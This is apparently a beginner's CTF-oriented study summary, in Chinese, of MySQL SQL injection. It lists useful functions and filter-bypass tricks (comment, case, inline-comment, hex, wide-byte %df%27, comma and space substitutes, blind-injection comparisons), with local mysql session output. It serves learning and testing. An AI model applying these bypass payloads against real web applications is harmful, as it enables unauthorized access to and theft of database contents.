新人web手对sql注入的一些简单总结

SQL语法学习

基础必学要打牢,首先要会SQL查询语句才能会SQL注入嘛,学习网站

常用函数介绍

  • COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入):

  • COUNT() 函数返回表中的记录数:

  • ASCII(str) 返回值为字符串str 的最左字符的ASCII值。假如str为空字符串,则返回值为 0 。
  • ORD(char) 返回字符的 ASCII 值
  • GROUP_CONCAT(expr) 该函数返回带有来自一个组的连接的非NULL值的字符串结果。即将expr的数据整合到一起。
  • CHAR(ascii,…)将一个或多个ascii码( ,分隔)转为字符或字符串。
  • CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。
  • LENGTH(str) 返回值为字符串str 的长度,单位为字节。
  • SUBSTR(str,start,len) 返回start开始,长度为len的字符串。注意:字符串起始位置为1。

  • MID() 用法和上述一样。

  • LEFT(str,len) 返回字符串str自最左边开始的len个字符。

  • RIGHT(str,len)返回字符串str自最右边开始的len个字符。

  • REVERSE(str) 反转字符串。

  • IF(语句0,语句1,语句2)语句0 为真则执行 语句1,否则执行语句2

  • LPAD(str,len,padstr) 返回字符串 str, 其左边由字符串padstr 填补到len 字符长度。假如str 的长度大于len, 则返回值被缩短至 len 字符。

  • RPAD(str,len,padstr)返回字符串str, 其右边被字符串padstr填补至len字符长度。假如字符串str 的长度大于len,则返回值被缩短到与len 字符相同长度。

    mysql> SELECT LPAD('hi',4,'??');
            -> '??hi'
    mysql> SELECT LPAD('hi',1,'??');
            -> 'h'
            
    mysql> SELECT RPAD('hi',5,'?');
            -> 'hi???'
    mysql> SELECT RPAD('hi',1,'?');
            -> 'h'
  • sleep(duration) 睡眠(暂停) 时间为duration 参数给定的秒数,然后返回 0。

  • database() 获取当前数据库名。

常用运算符和关键字

  • union用于联合查询 (注意:必须要有相同的字段数,注入时通常先用order by 测试下有几个字段)
  • '用于闭合语句
  • 不带引号的以 0X 开头的十六进制值在MYSQL中会被解释为对应的字符串。
  • 反引号 用于区分MYSQL的保留字与普通字符而引入的符号,如:
SELECT`select`from`test`WHERE`select`='字段值';#未使用空格,是一种绕过方式
  • 不等于 !=<>,取非 !not
  • = in like regexp !(语句<>语句)这几个关键字等价,如:
select * from myTable where id=1;
select * from myTable where id in (1);  #in后面参数必须加(),()中可匹配多个,用,分隔
select * from myTable where id like 1;  #like可加通配符%进行模糊匹配
select * from myTable where id regexp 1;#regexp可用于正则匹配
select * from myTable where !(id<>1);

这几个句子等价。

  • 比较运算符,大于小于号> <between A and B(A和B是参数)

  • information_schema 在mysql中包含所有的数据库的相关信息,其中的information_schema.tables 和information_schema.columns 经常用到,(table_schema,table_name)和column_name分别是其字段名之一。table_schema是数据库名,table_name是表名,column_name是字段名。

  • 圆括号 (...) 使用括弧来规定表达式的运算顺序,例如:

    SELECT (1+2)*3;# 9
    select(some_column)from(myTable)where(id=1);#未使用空格
  • 注释符 # /**/

  • 与运算符 and &&

  • 或运算符 or ||

  • 异或运算符 ^ xor

    注意:如果在浏览器中地址栏输入要进行url编码,& urlencode后为 %26 #为%23

  • from num1 for num2 可用于substr(str,start,end)等 代替 ,如:

    substr(database(),1,1)
    等价于
    substr(database()from 1 for 1)

常用绕过方法

注释符号绕过

常用的注释符有

-- 注释内容
# 注释内容
/*注释内容*/
;

实例

mysql> select * from users -- where id = 1;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
1234567
mysql> select * from users # where id = 2;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
1234567
mysql> select * from users where id = 3 /*+1*/
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+
1 row in set (0.00 sec)

大小写绕过

常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
例如:waf过滤了关键字select,可以尝试使用Select等绕过。

mysql> select * from users where id = -1 union select 1,2,3
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

#大小写绕过
mysql> select * from users where id = -1 union Select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

特殊编码绕过

  • 十六进制绕过
mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
  • ascii编码绕过
    Test 等价于
    CHAR(101,97,115,116)

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
换行(url编码中的%0a)
` 反引号绕过
tab
两个空格

实例

mysql> select/**/*/**/from/**/users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
+----+----------+----------+
#注意括号中不能含有*
mysql> select(id)from(users);
+----+
| id |
+----+
|  1 |
|  3 |
#回车符 %0a
mysql> select
    -> *
    -> from 
    -> users
    -> where 
    -> id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
mysql> select`id`from`users`where`id`=1;
+----+
| id |
+----+
|  1 |
+----+

过滤or and xor not 绕过

and = &&
or = ||
xor = | # 异或
not = !

过滤等号=绕过

  • 不加通配符like执行的效果和=一致,所以可以用来绕过。

正常加上通配符的like

mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  3 | test3    | pass1    |
+----+----------+----------+

不加上通配符的like可以用来取代=

mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
  • rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
    用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
  • regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
  • 使用大小于号来绕过
mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | user2    | pass1    |
+----+----------+----------+
  • <> 等价于 !=
    所以在前面再加一个!结果就是等号了
mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

等号绕过也可以使用strcmp(str1,str2)函数、between关键字等,具体可以参考后面的过滤大小于号绕过

过滤大小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

  • greatest(n1, n2, n3…):返回n中的最大值
mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
  • least(n1,n2,n3…):返回n中的最小值
  • strcmp(str1,str2):若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
mysql> select * from users where id = 1 and !strcmp(ascii(substr(username,1,1)),116);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and !strcmp(ascii(substr(username,1,1)),117);
Empty set (0.00 sec)
  • in关键字
mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)
  • between a and b:范围在a-b之间
mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

使用between a and b判等

mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

过滤引号绕过

  • 使用十六进制
select column_name  from information_schema.tables where table_name=0x7573657273;
1
  • 宽字节

常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。

# 过滤单引号时
%bf%27 %df%27 %aa%27
12
%df\’ = %df%5c%27=縗’
1

过滤逗号绕过

如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串
例如在substr()等函数中,常规的写法是

mysql> select substr("string",1,3);
+----------------------+
| substr("string",1,3) |
+----------------------+
| str                  |
+----------------------+
  • 如果过滤了逗号,可以这样使用from pos for len来取代
mysql> select substr("string" from 1 for 3);
+-------------------------------+
| substr("string" from 1 for 3) |
+-------------------------------+
| str                           |
+-------------------------------+
1 row in set (0.00 sec)

在sql盲注中,如果过滤逗号,以下参考下面的写法绕过

mysql> select ascii(substr(database() from 1 for 1)) > 120;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 120 |
+----------------------------------------------+
|                                            0 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database() from 1 for 1)) > 110;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 110 |
+----------------------------------------------+
|                                            1 |
+----------------------------------------------+
  • 也可使用join关键字来绕过
mysql> select * from users union select * from (select 1)a join (select 2)b join(select 3)c;
#像(select 1)a是子查询,嵌套查询的时候子查询出来的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名。a是别名。
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
|  1 | 2        | 3        |
+----+----------+----------+

其中的

union select * from (select 1)a join (select 2)b join(select 3)c

等价于

union select 1,2,3
  • 使用like关键字
    适用于substr()等提取子串的函数中的逗号
mysql> select ascii(substr(user(),1,1))=114;
+-------------------------------+
| ascii(substr(user(),1,1))=114 |
+-------------------------------+
|                             1 |
+-------------------------------+

mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
|                1 |
+------------------+

mysql> select user() like "t%";
+------------------+
| user() like "t%" |
+------------------+
|                0 |
+------------------+
  • 使用offset关键字
    适用于limit中的逗号被过滤的情况
    limit 2,1等价于limit 1 offset 2
mysql> select * from users limit 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+
12345678910111213

过滤函数绕过

  • sleep() –>benchmark()
mysql> select 12,23 and sleep(1);
+----+-----------------+
| 12 | 23 and sleep(1) |
+----+-----------------+
| 12 |               0 |
+----+-----------------+
1 row in set (1.00 sec)
# MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
mysql> select 12,23 and benchmark(1000000000,1);
+----+--------------------------------+
| 12 | 23 and benchmark(1000000000,1) |
+----+--------------------------------+
| 12 |                              0 |
+----+--------------------------------+
1 row in set (4.61 sec)
  • ascii()–>hex()、bin()
    替代之后再使用对应的进制转string即可
  • group_concat()–>concat_ws()
mysql> select group_concat("str1","str2");
+-----------------------------+
| group_concat("str1","str2") |
+-----------------------------+
| str1str2                    |
+-----------------------------+
1 row in set (0.00 sec)

#第一个参数为分隔符
mysql> select concat_ws(",","str1","str2");
+------------------------------+
| concat_ws(",","str1","str2") |
+------------------------------+
| str1,str2                    |
+------------------------------+
  • substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
  • substr(str,start,1) 等价于 right(left(str,len),1) ,同样还可以使用left(),right(),reverse()进行组合绕过,同样用正则regexp匹配字符串有奇效,如 regexp '^flag'可以匹配以flag开头的字符串,具体用法请学习正则表达式。
  • ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。